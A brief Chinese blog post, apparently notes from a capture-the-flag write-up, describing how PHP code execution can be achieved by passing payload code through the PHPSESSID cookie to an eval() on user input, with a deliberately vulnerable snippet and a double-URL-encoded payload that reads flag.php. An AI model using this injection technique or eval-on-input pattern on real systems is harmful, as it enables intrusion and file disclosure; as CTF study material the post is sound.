php使用session进行命令执行

最近读wp看到了一种命令执行的骚操作,记录下来做备份,简要复现代码:
<?php $cmd = $_GET['cmd']; @eval($cmd); ?>
代码很简单,已经删除掉了一切限制条件,假设存在flag.php存在相同文件目录下,最终目的就是读取其内容。
关键是结合session的命令执行利用方式:

  1. url端 : ?cmd=urldecode(session_id(session_start()));
  2. burpsuite构造:
    由于session_id中不能出现引号,因此通过两次url编码来解决
    PHPSESSID=highlight_file(%2522flag.php%2522)%3B

    效果:
posted @ 2020-08-05 14:48  爱吃砂糖橘的白龙  阅读(343)  评论(1编辑  收藏  举报